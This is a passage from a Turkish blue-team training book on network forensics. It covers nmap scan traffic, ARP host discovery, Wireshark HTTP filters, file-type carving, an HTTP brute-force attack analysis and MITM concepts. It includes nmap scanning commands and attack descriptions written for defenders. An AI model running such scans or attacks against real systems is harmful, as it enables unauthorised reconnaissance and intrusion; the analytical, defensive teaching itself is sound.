SlideShare una empresa de Scribd logo
1 de 149
ÖN SÖZ
Bu kitap THT Blue Team ekibi tarafından Türk siber güvenlik
camiasına hediyemizdir. Siber güvenlik alanında malware
analiz, network forensic, assembly gibi konularda Türkçe
kaynak eksikliği göz önüne alınarak gönüllü bir ekip
tarafından hazırlanmıştır. Kitabın içeriğindeki saldırı trafik
analizleri bizzat kitap yazarları tarafından laboratuvar
ortamlarda oluşturularak eğitimlerde kullanılmış, hiçbir
sisteme zarar verilmemiştir. Ayrıca malware analizlerinde
kullanılan zararlılar da yine hem yazarlar tarafından
oluşturulmuş hem de ‘Practical Malware Analysis’ kitabının
içerisinde bulunan laboratuvar sorularından alınıp kitap için
analizleri gerçekleştirilerek kaleme alınmıştır.
Ayrıca kitabın kapak fotoğrafını tasarlayan NOVA ve grafik
tasarım ekibine de teşekkürlerimizi iletiyoruz.
İÇİNDEKİLER
BÖLÜM 1: NETWORK FORENSİC
 Port Tarama Trafik Paket Analizi
 Host Keşif Trafik Analizi
 Ağ Trafiğinde Dosya Türleri Tespiti
 HTTP Trafiğinde Filtreler
 HTTP Brute Force Saldırı Analizi
 MITM Saldırı Analizi
 MYSQL Brute Force Saldırı Analizi
 SQL Injection Saldırı Analizi
 Yerel Ağ Sızma Testi Analizi
 Zararlı Dosya Transfer Analizi
 Web Shell Tespiti
BÖLÜM 2: MALWARE KAYNAK KOD ANALİZ
 C Keylogger Kaynak Kod Analizi
 C Reverse Shell Kaynak Kod Analizi
 Python Keylogger Kaynak Kod Analizi
 Python Reverse Shell Kaynak Kod Analizi
BÖLÜM 3: MALWARE TEMEL STATİK ANALİZ
 C Keylogger Temel Statik Analiz
 C Reverse Shell Temel Statik Analiz
 Python Reverse Shell Temel Statik Analiz
 Temel Statik Malware Analiz Teknikleri
 PMA Lab 01-04 Temel Statik Analizi
 PMA Lab 01-02 Temel Statik Analizi
 PMA Lab 01-03 Temel D-Statik Analizi
BÖLÜM 4: MALWARE TEMEL DİNAMİK ANALİZ
 Backdoor Temel Dinamik Analiz
 Kalıcı Meterpreter Dinamik Analiz
 Keylogger Temel Dinamik Analiz
 Reverse Shell Temel Dinamik Analiz
 PMA Lab 03-01 Temel Dinamik Analiz
 PMA Lab 03-02 Temel Dinamik Analiz
 PMA Lab 03-03 Temel Dinamik Analiz
 PMA Lab 03-04 Temel Dinamik Analiz
BÖLÜM 5: ASSEMBLY
 Register Kod Yapısı
 Veri Aktarım Komutları
 Adresleme Modları
 Veri Tanımlamaları
 Kontrol Yapıları ve Döngüler
 String İşlemleri
 Aritmetik Mantık Komutları
 İşletim Sistemi ve BIOS İlişkisi
 Ekran ve Klavye İşlemleri
 Temel Giriş ve Çıkış Teknikleri
 Alt Programlarla Bağlantı Kurma
 Kaydırma ve Yönlendirme İşlemleri
 Aritmetik İşlemler
 Diziler
 Klasör ve Dosya İşlemleri
BÖLÜM 6: İLERİ SEVİYE MALWARE ANALİZ
 IDA ile Disassembly
 Backdoor İleri Seviye Malware Analiz
 IDA Pro ile Keylogger Analiz
 PMA Lab 07-01 Analiz
 PMA Lab 07-02 Analiz
 PMA Lab 07-03 Analiz
 PMA Lab 09-01 Analiz
 PMA Lab 09-02 Analiz
 PMA Lab 09-03 Analiz
BÖLÜM 7: BELLEK DÖKÜM ANALİZİ
 PMA Lab 03-01 Bellek Döküm Analizi
 PMA Lab 03-03 Bellek Döküm Analizi
BÖLÜM 1
NETWORK
FORENSİC
PORT TARAMA TRAFİK ve PAKET ANALİZİ
Port Nedir?
Aslında port iki kola ayrılıyor. Fiziksel port ve sanal port olmak üzere. Ama bizi ilgilendiren ve
açıklayacağımız konudakiport çeşiti sanalport. Sanal port ağ ve internet üzerindeveyabir yazılım
vasıtasıyla yönlendirilen mantıksal bağlantı noktalarıdır. Genel manada internet aleminde kullanılan
portlar sanal port olarak adlandırılır.
Sanal portlara örnek verecek olursak
 21-ftp
 22-ssh
 23-telnet
 25-SMTP
 53-DNS
 161-SNMP
 443-https
 445-SMB
 3306-MySQL
 8080-HTTP-Proxy
Port Taraması Nedir?
Hedef üzerindebulunan portların çeşitli yardımcı araçlarla listelenmesi, açık portların üzerinden geçen
bağlantıların dinlenmesi, hangi servisler üzerindeçalıştığının tespitinin detaylı bir şekilde incelenmesi
vs. Port Tarama işlemi olarak adlandırıyoruz.
Bilişim sistemleri bilindiği üzere birbirleriyle iletişimi sağlamak için kullandıkları bağlantı noktalarınıport
olarak tanımlamıştık. Yapılan işe göreprotokoller, protokolleregörede portlardeğişmekteydi. Nmap
port tarama işlemi yapılırken, ağ tarama ve zafiyet tespiti için kullanılan en ünlü açık kaynak araçlarından
biridir. Port tarama işlemlerinde sıklıkla nmap aracını kullanacağız. Nmap, TCP ve UDP protokolleriyle
çalışmaktadır. Bu protokoller için bir bağlantı işlemi 4 nesne tarafından gerçekleştirilir.
 kaynak IP, hedef IP, kaynak port ve hedef port adresidir.
İlk olarak TCP portlarının taranmasına bakalım. TCP protokolü Three Way Handshake yöntemini kullanarak
bağlantı kuran bir protokol. UDP protokolüne göre daha yavaştır bunun temel sebebi ise verinin
kontrolünü sağlaması yani karşıya ulaşıp ulaşmadığını kontrol etmesidir.
Three Way Handshake(üçlü el sıkışma) Nedir?
İstemci-sunucu arasında veri akışını sağlar. Bu protokolün temel amacı TCP/IP paketlerini doğru sırayla
hedefe götürmektir.
Özet olarak istemci tarafından bir bağlantı isteği(SYN) gider , İstemcinin gönderdiği paketi alan sunucu,
tekrardan istemciye SYN ve ACK gönderir. Son adım olarakta istemci sunucuya ACK gönderip Three Way
Handshake'i sonlandırır.
TCP iletim bayrakları nelerdir kısaca hatırlayalım
 SYN : Yeni bir sequence numarası ile bağlantı isteği başlatan bayraktır.
[*]ACK : Acknowledge bayrağı veri aktarım isteğinin onaylandığını ve sonraki adımda beklenen
sequence number bilgisini belirler.
[*]PSH : Sistem bağlantı isteğini kabul ettiğini ve tampomlanan bilginin gönderilmesini belirten
bayraktır.
[*]URG : Bayrağı taşıyan paketin mümkün olduğunda hızlı iletilmesini belirten bayraktır.
[*]FIN : Daha fazla bilgi gönderilemeyeceğini bağlantının sonlandırılması gerektiğini belirten
bayraktır.
[*]RST : Bağlantıyı resetleyen bayraktır.
Şimdi gerekli argümanları öğrendiğimize göre port tarama analizine başlayabiliriz. Çeşitli port tarama
yöntemleri mevcut bunlardan birini veya birkaçını göstereceğim..
İlk olarak TCP port tarama yöntemlerinden TCP SYN(Stealth) Scan ile başlayalım.
Hedef sistem olarak ****sploitable 2, ana makine olarak Kali Linux 2020.4 ve aracımız ise Nmap
Öncelikle nmap -sS <hedef> ile taramamızı gerçekleştiriyoruz.
SYN(Stealth) Scan nmap'te varsayılan olarak yapılan, oldukça hızlı bir port tarama tekniğidir. SYN(Stealth)
Scan aynı zamanda half-open Scan olarakta bilinmektedir.
Böyle denilmesinin temel sebebi üçlü el sıkışmayı tamamlamamış olmasıdır. Böylece hedef sistemede
oturum açılmaz, log kayıtı tutulmaz ve sistemde herhangi bir kayıt tutulmasının önüne geçer.
TCP SYN(Stealth) Scan'da portların durumu(state) için dönecek cevaplar şunlardır:
-open, closed ve filtered.
Bu arada Port durumlarına bakacak olursak
 open : Portun açıktır ve bulunan portu dinleyen bir uygulama mevcuttur.
[*]closed ortun kapalıdır fakat erişilebilir. Portu dinleyen herhangi bir uygulama yoktur.
[*]filtered : Portun durumu belli değildir. Filtreleme, problarının porta ulaşmasını engellemektedir.
Açık veya kapalı olduğunu bilemeyiz.
[*]unfiltered: Ack scan için dönen bu durumda portlar erişilebilir ama açık olduğu tespit edilemez.
[*]open|filtered: Nmap portların açık veya filtreli olduğuna karar veremez.
[*]closed|filtered: Nmap portların kapalı veya filtreli olduğuna karar veremez
6 farklı sonuç alma ihtimalimiz var.
Kapalı portlar üzerindeki işlemler şu şekilde gerçekleşir. Hedefe SYN paketi gönderilir. SYN paketine karşılık
RST/ACK geliyorsa portun closed olduğu anlaşılır ve sonraki porta geçilip tarama işlemi devam eder. Eğer
SYN paketlerine cevap gelmezse filtered olarak kabul edilir.
Wireshark üzerinden bir inceleme yapacak olursak..
192.168.91.131 ip adresinden 192.168.91.133 ip adresine 443(https) portundan bir SYN paketi
gönderiliyor. Hedeften ne döndüğünü incelicek olursak sağ tıklayıp follow >> tcp stream diyerek bu
adreslere ait paketleri görebiliriz.
SYN gönderdiğimiz hedeften görüldüğü gibi RST/ACK yanıtı gelmiş. Bu closed olduğuna veya firewall
tarafından korunduğu anlamına gelebilir.
Açık portlar üzerindeki işlemler ise şu şekilde gerçekleşir. Hedefe SYN paketi gönderilir. SYN paketine
karşılık olarak hedef SYN/ACK gönderir. Burada portun open olduğunu anlarız. Normal şartlarda üçlü el
sıkışmayı tamamlamak için ACK paketi göndermemiz gerekirken biz RST gönderip bağlantıyı
sonlandırabiliriz. Buradaki temel amacımız herhangi bir güvenlik önlemine yakalanmamaktır.
wireshark üzerinden açık olan bir port üzerinden inceleme yapalım..
Öncelikle açık portları görebilmek için SYN ve ACK değerleri 1 olan paketleri filtreleyebiliriz.
Bunun için tcp.flags.syn == 1 and tcp.flags.ack== 1 ifadesini kullanabiliriz.
Bilindiği üzere Wiresharkda and/or koşul ifadeleri kullanılarak filtrelemeler yapılabiliyor.
Açık portları gördüğümüze göre örnek bir paketin streamine bakalım..
Görüldüğü üzere SYN/ACK geldiğinde saldırgan hemen RST ile bitirmiş çünkü istediği bilgiyi elde etti.
Esasen burdaki kilit nokta ilk SYN paketinegelen cevaptır.
Ayrıca Win,Len,MSS değerleri hep aynı yani bu otomatize bir araçtarafından yapıldığı aşikar çünkü normal
bir işleyişte bu değerlerde aksaklık olabilir ve ayrıca taranan portların arka arkaya taranması, tüm portların
hemen hemen taranması da bir saldırı analizi olduğunu gösterir.
Görüldüğü gibi RST ve ACK değeri 1 olan çok fazla(2023) port taranmış..
Bir de UDP port taraması analizi yapalım..
Öncelikle UDP(User DatagramProtocol) TCPye göre hızlıdır fakat güvenli değildir. Veri ismine datagram
denilir. UDP port tarayıcıları protokol olarak TCP yerine UDP kullanır. Tarama yapılırken mutlaka UDP port
taraması da yapılmalıdır. Popüler servislerin çoğu TCP üzerinde çalışsa bile DNS, SNMP ve DHCP gibi
önemli servisler UDP'yi kullanır. UDP taraması, TCP'ye göre yavaş ve zor bir yöntemdir.
UDP paket gönderebilir ancak durumu hakkında bilgi edinemez. TCP'den ayrılan en büyük yönü de zaten
budur.Burada devreye ICMP protokolü girer.
Boş bir porta gönderilen UDP paketi, ICMP port unreachable,
Closed bir porta gönderilen UDP paketi ICMP error, yanıtını döndürecektir.
Eğer herhangi bir yanıt döndürmezse port open demektir fakat UDP protokolünde paketin hedefe
ulaşacağı garantisi verilemez.
UDP scannerlar kaybolan paketleri de open veya filtered olarak tanımlayabilirler.
Öncelikle nmap -sV -sU -p 53,161 <hedef> ile taramamızıgerçekleştiriyoruz.
Detaylıca inceleyecek olursak UDP taramasıiçin -sU parametresi kullandık. Ayrıca servislerin sürüm
bilgisini elde etmek için de sV parametresini kullanıdık. -p ile incelenecek portları seçtik 53-DNS (Domain
Name System) ve 161-SNMP (Simple Network Management Protocol).
161. porta gönderilen UDP paketi ICMP error yanıtını döndürdüğü için port closed olarak tanımlandı.
53. porta gönderilen UDP paketi ise herhangi bir yanıt almadığı için open olarak tanımlandı. Burada verinin
hedefe ulaşmamış olma ihtimalini de unutmayalım..
wireshark ile basitçe UDP paketi analizi yapacak olursak..
Öncelikle UDP yazarakfiltreleme yaptık ve paketin üzerine sağ tıklayıp follow >> UDP Stream dedik.
192.168.91.131 ip adresinden 192.168.91.133 ip adresine 161(SNMP) portuna UDP paketi gönderiliyor.
Daha sonra 192.168.91.133adresinden cevap olarak ICMP alınıyor.
UDP Başlığı(UDP Header) basit ve sadece 8 bytes'dan oluşur.
İçeriğinde 4 unsur vardır, bunlar:
 SourcePort(2 bytes) yani paketin kaynak bağlantı numarası,
 Destination port(2bytes) hedef bağlantı noktası numarası,
 Length(2bytes) UDP Data + UDP Header,
 Checksum(2 bytes) Sağlama toplamı, hataları tespit etmek için.
Görüldüğü üzerepaketimizin kaynak bağlantı noktası 37640, hedef bağlantı noktamız 161, paket boyutu
60 bytes + başlık boyutu yani 8 bytes toplam 68 bytes'dır.
Basitçe bir UDP paket analizi bu şekildedir..
HOST KEŞİF TRAFİK ANALİZİ
Host KeşifTrafik Analizi
Sistemnedir?,öncelikle konumuzabu soruyla başlayabiliriz.
Sistemözetlemekgerekirse,birbiriyleilişki içerisinde olan,birbiriyle etkileşenelemanlar
topluluğunaverilenisimdir.
Şimdi ise wireshark toolu ile ağdaki sistemleri keşifedeceğiz.
Komutumuz;
Kod:
wireshark
Karşımıza çıkan ekranda ağ seçimi yapacağız ben eth0'ı seçip devam ediyorum.
Trafik akışı gözükmeye başlıyor.
Source kısmında bulunan sistem bütün ağa broadcast yayını yapmaktadır bunun amacı ise ayakta olan
cihazları tespit etmek.
Bu bölümde opcode'nin değeri 1 olduğu için bu sistem bütün ağa broadcast isteği göndermiştir.
opcode 1 olan kayıtlara bakarsak burada istek yapan ip adreslerini görebilmekteyiz.
Karşı tarafdan ip adreslerini istemekte, ayakta olan cihazlar ise reply(opcode 2) göndermektedir.
Arp isteğinde aktif olan cihazların 80 portu açıksa syn paketi gönderimide yapılır.
Komutumuz;
Kod:
nmap PS -p 80 open -n 192.168.6.0/24
Burada ise 30 numaralı adrese syn paketi gönderilmiş, gönderilen hedef syn+ack ile onaylamış ve saldırgan
makine reset paketini göndermiştir.
Reset paketini gönderme amacı nedir?
Çünkü saldırgan bağlantı kurmak istememekte, saldırganın amacı sistemin açık olup olmadığını kontrol
etmektir.
Burada ise 129 numaralı makine 254 numaralı makineye syn göndermiştir ancak bir sonuç alamamıştır
çünkü 80 portu kapalıdır.
Ağ'da Aktif Cihazların Keşif Analizi
Üst tarafta bulunan filtre bölümünü kullanacağız.
Komutumuz;
Kod:
arp.opcode = = 1
Arp istekleri ile ağda yer alan cihazları tespit etmiş oluruz.
Burada girmiş olduğumuz 1 değeri ile ağ üzerinde yaptığımız arp isteklerini görebiliriz ve tüm cihazların ip
ve mac adreslerini görebiliriz.
Komutumuz;
Kod:
arp.opcode = = 2
Burada girmiş olduğumuz 2 değeri ile ayakta olan cihazlardan gelen reply paketlerini görebiliriz yani mac
adres bilgisi vs. yer almaktadır.
Ayakta olan cihaz source kısmında bulunurken, arp isteğini gönderen saldırgan tarafın bilgileri de
destination bölümünde bulunur.
Bu konumunda burda sonuna gelmiş bulunmaktayım.
Bugs Bunny iyi günler diler.
TRAFİKTE DOSYA TÜRLERİ TESPİTİ
Bu yazımda networktrafiğindeki bazıdosyaformatlarınıntespiti,indirilmesive kaynağına gidilmesini
inceleyeceğiz. Birçok dosya formatı mevcut fakat bu yazımızda örnek olması açısında 3
tanesini(PNG,JPEG,AVI) inceleyeceğiz..
Örneklerde incelediğimiz trafiklerin tamamı HTTP protokolünü kullanmaktadır.
PNG DOSYALARININ TESPİTİ
ÖnceliklePNGnedir?PortableNetworkGraphics,dijital cihazlarda kullanılan, sıkıştırılmış bir görüntü
formatıdır.
Şimdi örnek bir trafikte PNG dosyalarının tespitini yapalım..
Filtre olarak aşağıdaki iki seçeneği de kullanabiliriz.
Kod:
http contains"x89x50x4Ex47"
Kod:
http contains"PNG"
Yani PNGstringi yerine hexdeğeri de yazılabilir.
Görüldüğü üzere PNGdosyamızıtespitettik.
PNG DOSYALARININ DIŞA AKTARILMASI
Protocol Tree Windowbölümünden HypertextTransferProtocol > File Data kısmınasağ tıklayıp
Export Packet Bytes diyelim.
ve .png uzantılıolacak şekildekayıtedelim.
veya
File > ExportObjects> HTTP diyelim.
PNG dosyasınıseçipkaydedebiliriz..
PNG DOSYALARININ KAYNAĞINAGİDİLMESİ
Protocol Tree Windowbölümünden HypertextTransferProtocol > Full requestURI bölümüne sağ
tıklayıpCopy > Value diyerekadresi kopyalayabiliriz.
JPEG DOSYALARININ TESPİTİ
JPEG(JointPhotographicExpertsGroup),standartlaştırılmışbirsayısal görüntükodlamabiçimidir.
JPEG standardındagörüntüsaklayandosyabiçimi de çoğunluktarafındanJPEGolarakadlandırılır. Bu
dosyalargenellikle .jpg,.jpe yada .jfif uzantılıdır. Yani özetolarak jpgile jpegarasında fark yoktur.
Tekfark kullanılan karaktersayısıdır.
Filtre olarakaşağıdaki iki seçeneğide kullanabiliriz.
Kod:
http contains"xffxd8"
Kod:
http contains "JPEG"
JPEG DOSYALARININ DIŞA AKTARIMI
Paketimizüzerine sağ tıklayıpFollow> TCP Stream diyelim.
Açılanpencerede Showand save data as kısmını raw olarakişaretleyelim.
Raw Nedir?Wikipedia'yagöre RAW,dijital fotoğraf makinelerinde filmin karşılığıolansensörüzerine
düşengörüntüdijital işlemci tarafındansayısal verilere dönüştürülüpfotoğraf haline getirilir.Çekim
sırasında belli işlemlerdengeçenhamgörüntügeneldeJPEGbazende TIFFdosyabiçimine
dönüştürülür.
Özetolarakelimizdeki JPEGkaynağınısayısal veriye dönüştürdük.Dahasonra Findbölümünde ffd8
yazarak arama yapalım.ffd8noktasını bulduktansonraonoktadanitibarenbütünbölümü
kopyalayalım
Ufak birnot! ffd8yazmamızın sebebi JPEGgörüntüdosyaları FFD8 ile başlarve FF D9 ile biter.Yani
buradaki amacımız başlangıç noktasıbulmaktır.
Kopyaladığımızkısmı herhangi birhexeditörüile açalım ve kopyaladığımızkısmı yapıştıralım.
ve bu dosyayı.jpeguzantılı olacak şekilde kaydedelim.İşlemimizbukadar.
JPEG DOSYALARININ KAYNAĞINA GİDİLMESİ
Aynı şekildeProtocol Tree Window bölümünden HypertextTransferProtocol > Full requestURI
bölümüne sağtıklayıp Copy> Value diyerekadresi kopyalayabiliriz.
AVIDOSYALARININ TESPİTİ
AVINedir?AudioVideo Interleave Kasım1992'de Microsofttarafındantanıtılan Windowsiçin
görüntününbirparçası olançokluortam içerikbiçimidir.avi videove sesdosyalarınıbiraradaiçeren
dosyalaraverilengenel addır.
Örnekbirtrafikte AVIdosyalarınıntespitini yapalım..
Filtre olarakaşağıdaki iki seçeneğide kullanabiliriz.
Kod:
http contains"x52x49x46x46"
Kod:
http contains"AVI"
AVI DOSYALARININDIŞA AKTARIMI
Aynı şekilde Protocol Tree WindowbölümündenHypertextTransfer Protocol > File Data kısmına
sağ tıklayıpExport Packet Bytes diyelim.
.avi uzantılı olacakşekilde kayıtedelim.
veyayukarıda örneğini gösterdiğimiz File >Export Objects> Http kısmından da .avi uzantılıdosya
kayıt edilebilir.
AVIDOSYALARININ KAYNAĞINA GİDİLMESİ
PNG ve JPEG dosyalarındaolduğugibi AVIdosyalarındadakaynağagidilirkenProtocol Tree Window
bölümünden HypertextTransferProtocol > Request URI bölümüne sağtıklayıp Copy> Value diyerek
adresi kopyalayabiliriz.
veya
Paketinüzerine sağtıklayıpFollow>TCP Stream diyerekde dosyakaynağıhakkındabilgilerelde
edilebilir.
Konumuburadabitirmişbulunmaktayım.
Selamve Sevgilerle..
HTTP TRAFİĞİNDE FİLTRELER
Bu yazımızda HTTP trafiğini incelerken kullanabileceğimiz filtreler hakkında bilgi
vereceğim.
Yapacağımız örneklerde kullandığımız araç Wireshark Version 3.2.8
Http(Hyper Text Transfer Protocol) Protokolü Nedir?
90 yıllardan bu yana kullanılan popüler bir iletişim protokolüdür. HTTP protokolü sayesinde
internet ağı üzerindeki web sayfaları görüntülenebilir. Genel manada HTTP istemci(web
tarayıcı örn. chrome) - sunucu(web sunucusu) arasındaki iletişimin kurallarını belirleyen
yapıdır. Taşıma katmanında TCP protokolünü kullanır. Ayrıca bu protokol 80 portunu
kullanır.
Temel Çalışma Mantığı
Bir tarayıcı yardımıyla bir web sayfasına girmek istersek, sitenin adresini yazdığımızda
HTTP ile web sayfasına bir bağlantı isteği göndermiş oluruz. Eğer bu istek kabul
edilirse(200lü kodlar döner) web sayfası ile bağlantı kurmuş oluruz. Eğer kabul
edilmezse(500lü kodlar eğer tarayıcı ile ilgili bir hataysa 400lü kodlar) bize bir hata kodu
döndürür.
Filtreler
Kod:
http.response == 1 || 0 http.response == true || false
Gelen cevapları(response) görmek için boolean kullanabiliriz. True veya 1 değeri
response'ları bize filtreleyecektir.
Kod:
http.response.code = 200
HTTP yanıt durumu kodları ile filtreleme yapılabilir. Örnek "200 Tamam" yani başarılı
istekleri filtreledik.
veya
Kod:
http.response.code == 404
Bu sefer ise 404 Not Found yani bulunamama hatasının bulunduğu paketleri filtreledik.
Kod:
http.request.method == "GET"
request methodu "GET" olanları filtreledik.
Kod:
http.request.method == "POST"
request methodu "POST" olanları filtreledik.
Kod:
http.user_agent == "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0)"
User-Agent değeri ile filtreledik.
User-Agent Nedir? Kullandığımız internet tarayıcılarının hepsi içerisinde User-Agent bilgisi
bulundurur. Biz bir sunucuya bağlanmak istediğimizde karşı taraf bizim hangi tarayıcıyı ve
hangi işletim sistemini kullandığımızı öğrenebilir.
Pakete Follow > HTTP Stream yaparak kontrol edebiliriz. Diğer vereceğimiz örneklerde de
detaylar için bu işlemi yapınız.
Kod:
http.host == "asecuritysite.com
Host adresine göre filtreleme yapabiliriz.
Kod:
http.request.full_uri == "Full/request/URI/adresi"
Full request URI adresi ile filtreleme yapabiliriz.
Kod:
http.date == "Mon, 17 Jun 2013 09:27:32 GMT"
Tarihe göre filtreleme yapabiliriz.
Kod:
http.content_type == "application/json"
Uygulama türünü belirterek filtreleme yapabiliriz.Ayrıca "text/html", "text/css",
"application/xhtml+xml" vs.. bunlar da birer örnektir.
Kod:
http.accept_encoding == "gzip, deflate"
Accept Encoding istemcinin hangi içerik kodlamasını anlayabileceğini bildirir, genellikle bir
sıkıştırma algoritması olur. Buradaki örnekte gzip ve deflate(her ikisi de dosya sıkıştırmada
kullanılır gzip daha etkilidir.) olarak filtrelemiş bulunduk.
Kod:
http.accept_language == "en-us"
Accept-Language HTTP başlığı, istemcinin hangi dilleri anlayabildiğini ve hangi dil türünün
tercih edildiğini bildirir. Burada en-us olarak filtreledik.
Bunların Dışında;
Kod:
http.cookie > cookie bilgisine göre filtreleme
http.content_length> içerik uzunluğuna göre filtreleme
http.content_type> içerik tipine göre filtreleme
http.file_data> veriye göre filtreleme
http.********> konuma göre filtreleme
http.time> zamana göre filtreleme
Görüntü Filtreleri;
Kod:
http contains PNG or "x89x50x4Ex47" http.content_type == "image/png"
http contains GIF or "GIF89a" http.content_type == "image/gif"
http contains JPEG or "xffxd8" http.content_type == "image/jpeg"
Video ve Ses Filtreleri;
Kod:
http contains MP3 or "x49x44x33"
http contains AVI or "x52x49x46x46"
Önceki yazımda kırmızı ile yazılanları detaylı bir şekilde inceledik. Detay için..
Diğer Dosya Türleri;
Kod:
http contains PDF or "%PDF"
http contains ZIP or "x50x4Bx03x04"
http contains RAR or "x52x61x72x21x1Ax07x00"
http contains GZIP or "x1Fx8Bx08"
http contains SWF or "x46x57x53"
Ayrıca filtreleme işlemi yaparken stringler yerine kullanabileceğiniz Magic Number'lar
işinize yarayabilir. Detay için..
Not: Bazı Wireshark filtreleri eski versiyonlarda desteklemeyebilir örneğin "http.accept"
filtresi 1.0.0 versiyonu ile 3.4.1 versiyonu arasındaki wireshark sürümleri için
kullanılabilirken, "http.bad_header_name" filtresi 3.0.0 versiyonu ile 3.4.1 versiyonu
arasında kullanılabiliyor.
Not2: HTTP filtrelerinde daha da detaya inmek isterseniz bu adresten filtrelerin karşısına
gelebilecek değişken tiplerine ve desteklediği versiyonlara kadar hepsini bulabilirsiniz.
Konumu burada bitirmiş bulunmaktayım.
Selam ve Sevgilerle..
HTTP BRUTE FORCE SALDIRI ANALİZİ
Saldırı trafikyadını açıp incelemeyebaşlıyorum.Gözüme çarpanilkşeyüçlüel sıkışmanın
gerçekleşmişolmasıve hemen ardındanhttpisteğiningönderilmesi.
İlgili GETisteği /kök dizinineyapılmışhemenüzerinetıklayıpaşağıdanisteğiniçeriğine bakıyorum.
Testphp.vulnweb.comsayfasınabirGET isteği yapılmış.Burayakadar herhangi biranormal durum
yok.Burada paketlerarasındakaybolmadanprotokol hiyerarşisine gözatıpbilgi toplamaya
başlıyorum.
Protokol hiyerarşisinde elde ettiğimbilgiye göre httpprotokolündeisteklergerçekleştirildiği,text
data ve form tabanlıisteklerinolduğunugörüyorum.Busebeptenhttpüzerindenbilgilerelde etmeye
devamediyorumburayatekrardangeleceğim.
http packetcounterbilgisine gözatıyorum.
117 adethttppaketi olduğunugörüyorum.Response paketdetaylarında28 adetbaşarılı istek,8 adet
not found,8 adet302 foundşeklinde responselerdöndüğünügörüyorum.Requestpaketlerinin
ayrıntısında ise POST,GET ve SEARCH isteklerininkullanıldığınıgörüyorum.
http requestssekmesindeninceleme yaparsakhangi sayfalaraistekyapıldığınınetolaraksayısıyla
görüyoruz. Administrator,admin,admin/admin.phpvbbirçoksayfayaistekgönderilmişbudaaçık
bir şekildeadminpanel tespitiyapılmayaçalışıldığınıgösteriyor.
http requestsequencesayrıntılarınadabakalım.
Burada login.phpüzerindebirçokistekyapılmış,buradananlaşılansaldırganbusayfadaepey
oyalanmışdahasonra da userinfo,guestbookgibi sayfalaraerişimsağlanmış.Loginsayfasınayönelik
çeşitli brute force ataktan sonrauserinfosayfasınaerişimsağlamışolabilir.
Protokol hiyerarşi ayrıntılarınatekrardönüptextdataüzerinde filtreuygulayarakilgili paketleri
görüntülüyorum.
Burada 200, 404, 302 response değerleri dönenbirçokpaketkarşımızageldi.Buradanhttpstreamile
tüm httppaketlerinibirleştiripinceliyorum.
Adminsayfasınaistekyapılmış200 oksonucudönmüşve sayfa içerisinde linkbağlantısıolarak
create.sql adındabirdosyayer alıyorve hemenardındanbu dosyayabirget isteği gönderilmişyani
ilgili dosyayatıklanmış.
İlgili GETisteğininresponse içeriği incelenirsesql dosyasınıniçeriğini görebiliyoruz.Yani saldırgan
kardeşimizbirsql dosyasıelde etmişneye niyetneyekısmetdiyelim.
Hemenardındangidenistekve yanıtlarıinceleyelim.
Buradan hareketle anlayacağımızsaldırgançeşitli denemeleryapmışsonuçolarak404 yani herhangi
bir sayfadönmemiş.Protokol hiyerarşisindede 404 içerenbirçokyanıt görmüştükbunlarınaslındabir
adminpanel bulmayayönelikisteklerolduğunuanlayabiliriz.
Sabredendervişmuradınaermiş.Saldırganlogin.phpsayfasınaistekgöndermişve 200 okyanıtını
almış yani aslındaloginsayfasınıbulmuş.Buradansonrasaldırganyüksekihtimalle loginformakaba
kuvvetdenemesi yapmışolmalı.
Buradan gördüğümüz gibi postdataiçerisinde unameve passpostparametrelerineadmin-admin
şeklindedeneme yapılmışve 302 foundsonucudönmüş.Buradananlayacağımızüzere tahminiz
tutuyoryani bir kabakuvvetdenemesi var.Postverilerininuserinfo.phpde işlendiğini anladığımıza
göre userinfosayfasınayapılanistekleri filtreleyebiliriz.
İlkpostisteğininiçeriğinigörüntülediğimde html formiçerisinde postdatalarınıniçeriklerini
görüyorumadminadmindenemesi yapılmış.Zatenprotokolhiyerarşisinde bunugörmüştük.
Sırasıyla postisteklerininbuşekilde kabakuvvetiçerdiğini görüyoruz.
İşaretlenenpakette isegidenbilgilerbuşekilde.
Buradan sonraise birpost isteği dahave ardından getisteği yapılmış.
Bir sonraki postisteğinde isefarklıparametreler değerlergirildiğinigörüyoruzyani farklıbirformvar.
Buradan saldırgantesttestbilgilerini girerekpaneleerişmişve farklıbirformadeğerlergöndermiş.
Zatencookie değerleri içerisinde de test-testverilerininolduğunugörüyoruzsaldırganbubilgilerle
girişyaptıktansonra cookie oluşturulmuş.
POST filtresiyaptığımızzamancomment.phpde gidendatalarabakalım.
Kullanıcıburada comment.phpsayfasındamesajınıbırakmış.
Searchsayfasındaxssdenemesi yapmış.Yani kısacasısaldırgansırasıyla adminpanel tespitetmiş,
kaba kuvvetsaldırısıyapmış ve içeride çeşitli mesajlarbırakmış.Ayrıcahttp-objectsdiyerekşuadmin
sayfasındabulunancreate.sql dosyasınıdadışarıya aktaralım. Saldırganbu sql dosyasınaerişmişti.
Bu analizimizde buradabiter.
MITM SALDIRI ANALİZİ
MITM (Ortadaki Adam Saldırısı)
MITM Nedir?
Ortadaki adam saldırısı ağda bulunan iki bağlantının arasındaki
haberleşmenin dinlenmesiyle verilerin ele geçirilmesini veya
haberleşmede herhangi bir değişiklik yapılmasını sağlayan bir saldırı
türüdür.
Ortadaki adam saldırısında user’ın yaptığı istek server’e gitmek yerine
önce saldırgana gitmektedir.
Local Ağ Üzerinden Yapılan Saldırılar
DNS Spoofing: Kullanılan DNS sunucusunun veri tabanına sızılarak
verilerin değiştirilmesiyle IP Adresinin saldırganın istediği bilgisayara
yönlendirilmesiyle olan bir saldırıdır.
ARP Poisoning: User’ın göndermiş olduğu istekler istenilen yere
gitmek yerine saldırgana gider. Peki bu nasıl oluyor? Saldırgan kendini
istenilen yer olarak gösterip user’ın gönderdiği istekleri alır. Saldıtgan
Fake ARP Request ile kendisini istenilen yer(hedef) olarak gösterebilir.
Saldırgan MAC adresini target bilgisayara ‘network device mac
adress’ olarak gösterir.
Port Stealing: Fake ARP oluşturularak target sunucunun MAC adresini
kaynak adresi olarak kullanıma alır. Bu sayede kurbanın bilgisayarına
gönderilen tüm veri, istekler saldırgana ulaşmış olur.
STP Mangling: STP (Spanning Tree), switchlerin iletişimi sırasında
oluşabilecek loop’ları önleyen bir protokoldür. STP Mangling ise STP
protokolünün çalışmasını engellen bir saldırı türüdür.
Gateway ile Local Ağdan Dış Ağa Yapılan Saldırılar
ARP Poisoning
DNS Spoofing
ICMP Redirection: Saldırganlar tarafından ICMP Redirect mesajları
saldırı amacıyla trafiğini üzerine almak için kullanılan saldırı
türüdür.
